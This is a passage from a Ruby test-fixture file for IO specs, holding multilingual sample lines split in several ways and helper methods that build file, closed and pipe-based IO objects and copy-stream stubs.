vier.\n\n", "Est\303\241 aqui a linha cinco.\nHere is line six.\n" ] end def self.lines_space_separator [ "Voici ", "la ", "ligne ", "une.\nQui ", "\303\250 ", "la ", "linea ", "due.\n\n\nAqu\303\255 ", "est\303\241 ", "la ", "l\303\255nea ", "tres.\nHier ", "ist ", "Zeile ", "vier.\n\nEst\303\241 ", "aqui ", "a ", "linha ", "cinco.\nHere ", "is ", "line ", "six.\n" ] end def self.lines_arbitrary_separator [ "Voici la ligne une.\nQui \303\250", " la linea due.\n\n\nAqu\303\255 est\303\241 la l\303\255nea tres.\nHier ist Zeile vier.\n\nEst\303\241 aqui a linha cinco.\nHere is line six.\n" ] end def self.paragraphs [ "Voici la ligne une.\nQui \303\250 la linea due.\n\n", "Aqu\303\255 est\303\241 la l\303\255nea tres.\nHier ist Zeile vier.\n\n", "Est\303\241 aqui a linha cinco.\nHere is line six.\n" ] end # Creates an IO instance for an existing fixture file. The # file should obviously not be deleted. def self.io_fixture(name, mode = "r:utf-8") path = fixture __FILE__, name name = path if File.exist? path new_io(name, mode) end # Returns a closed instance of IO that was opened to reference # a fixture file (i.e. the IO instance was perfectly valid at # one point but is now closed). def self.closed_io io = io_fixture "lines.txt" io.close io end # Creates a pipe-based IO fixture containing the specified # contents def self.pipe_fixture(content) source, sink = IO.pipe sink.write content sink.close source end # Defines +method+ on +obj+ using the provided +block+. This # special helper is needed for e.g. IO.open specs to avoid # mock methods preventing IO#close from running. def self.io_mock(obj, method, &block) obj.singleton_class.send(:define_method, method, &block) end module CopyStream def self.from=(from) @from = from end def self.from @from end end class CopyStreamRead def initialize(io) @io = io end def read(size, buf) @io.read size, buf end def send(*args) raise "send called" end end class CopyStreamReadPartial def initialize(io) @io = io end def readpartial(size, buf) @io.readpartial size, buf end def send(*args) raise "send called" end end end
{ "pile_set_name": "Github" }